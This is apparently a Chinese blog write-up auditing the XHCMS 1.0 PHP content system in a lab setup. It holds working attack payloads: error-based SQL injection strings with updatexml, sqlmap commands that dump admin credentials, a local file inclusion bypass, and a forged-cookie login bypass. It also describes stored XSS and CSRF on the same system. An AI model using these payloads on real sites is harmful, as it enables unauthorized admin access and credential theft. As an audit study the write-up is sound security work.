xhcms1.0代码审计

XHCMS 1.0 审计

安装环境:

PHP 5.2.17
apache 2.4.23
MySQL 5.5.53
xhcms 1.0

1.先检查重装漏洞


结果作了限制,无。

2.本地文件包含漏洞

将源码通过seay fuzz审计,发现在index.php页面:

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

可以看到对于'r'仅仅通过addslashes()函数过滤。而addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

最后include包含files/下的文件。这里包含根目录下的d.txt文件。由于转义函数存在,无法适用%00截断,尝试. ./截断:


成功绕过限制进而包含。

后台首页文件包含xxx/admin/index.php此处同理:

3.垂直越权漏洞

在访问xxx/admin/index.php时候会自动跳转xxx/admin/index.php?r=login,明显的是admin/index.php是后台管理首页,但是访问的时候,r后边自动跟进login,而不是index.php。前边看了r后边包含都是files/目录下,所以这里看下files/index.php:

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>

可以看到适用了checklogin.php文件进行登录权限检测,如果通过了就直接登录,而不通过则自动跟进login.php。

所以这里的逻辑关系是访问admin/index.php,判断r为空,所以传入?r=index.php,但是由于权限检测不通过,随机自动跳转login.php。所有这里需要看看checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

接受一个以user为名的cookie,如果不为空则直接登录,则这可以存在垂直越权,构造一个user=随意字符,不为空的就行的cookie,即可登录成功:

4.SQL注入1

上边追到files/login.php还没看,所以看看

$query = "SELECT * FROM manage WHERE user='$user'";

直接拼接了变量,存在SQL注入。尝试万能密码 admin' or '1'='1 但是结果还是跳转login.php,继续看看下边的代码,发现:

if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;	
	}

进行了密码散列值比对,所以万能密码不能用。但是并没有加error_reporting(0); //关闭错误显示,随机试试报错注入:


报错了啊有搞头,开始撸它。

查看数据库版本
admin' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)#

查看数据库名字
admin' or updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e)#

查看数据库表名
admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 0,1),0x7e),0x7e)#

admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 1,1),0x7e),0x7e)#

admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 2,1),0x7e),0x7e)#

admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 3,1),0x7e),0x7e)#

admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 4,1),0x7e),0x7e)#

顶不住了sqlmap梭哈了……
而针对表单的sqlmap测试方法有三种:

  • burpsuite抓取文件 sqlmap -r post.txt -p user --dbs -r指定文件,-p指定参数
  • --forms自动搜索表单 sqlmap -u xxx/admin/index.php?r=login --forms -D xhcms -tables
  • --data指定参数 sqlmap -u xxx/admin/index.php?r=login --data "user=1" -D xhcms -tables

测试第三种最快,结果如下:

猜测manage表里有货,sqlmap -u xxx/admin/index.php?r=login --forms -D xhcms -T manage -columns

查看name&password
sqlmap -u xxx/xhcms/admin/index.php?r=login --forms -D xhcms -T manage -C name,password --dump

解密 admin-admin

接着看其他的sql注入提示:




可以看到基本上采用了addslashes($_POST[''])防御,且不存在GBK编码的,无法利用宽字节注入,基本可以判断为误报。

SQL注入2

功夫不到家,只能挨着看下去,到editcolumn.php了:

测试 存在sql注入 /admin/?r=editcolumn&type=1&id=1' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)--+

另外如果是sqlmap爆破多个参数的时候不要忘记url加双引号后,可以在相应参数后设置*提高优先级,也可以使用上边提到的三种方式进行指定参数

SQL注入3

再看editlink.php

测试存在SQL注入
/admin/?r=editlink&type=1&id=1' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)--+

SQL注入4

测试存在SQL注入
/admin/?r=editsoft&type=1&id=1' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)--+

SQL注入5

测试存在SQL注入

4.存储型XSS

看到


但是这里htmlspecialchars()html实体编码了,无法xss利用。

再看通过功能点查看各处用户评论:


不知道为啥评论不了,检查了安装过程也没发现问题……

再去登录admin的留言板回复功能处看是否可以XSS:

退出admin账户,使用用户身份浏览成功xss:


5.CSRF

从功能点触发,看到可以删除评论操作,是不是可以CSRF呢?利用burpsuite的CSRF poc功能试试。

前提是admin登录状态,直接跨站请求伪造进行删除操作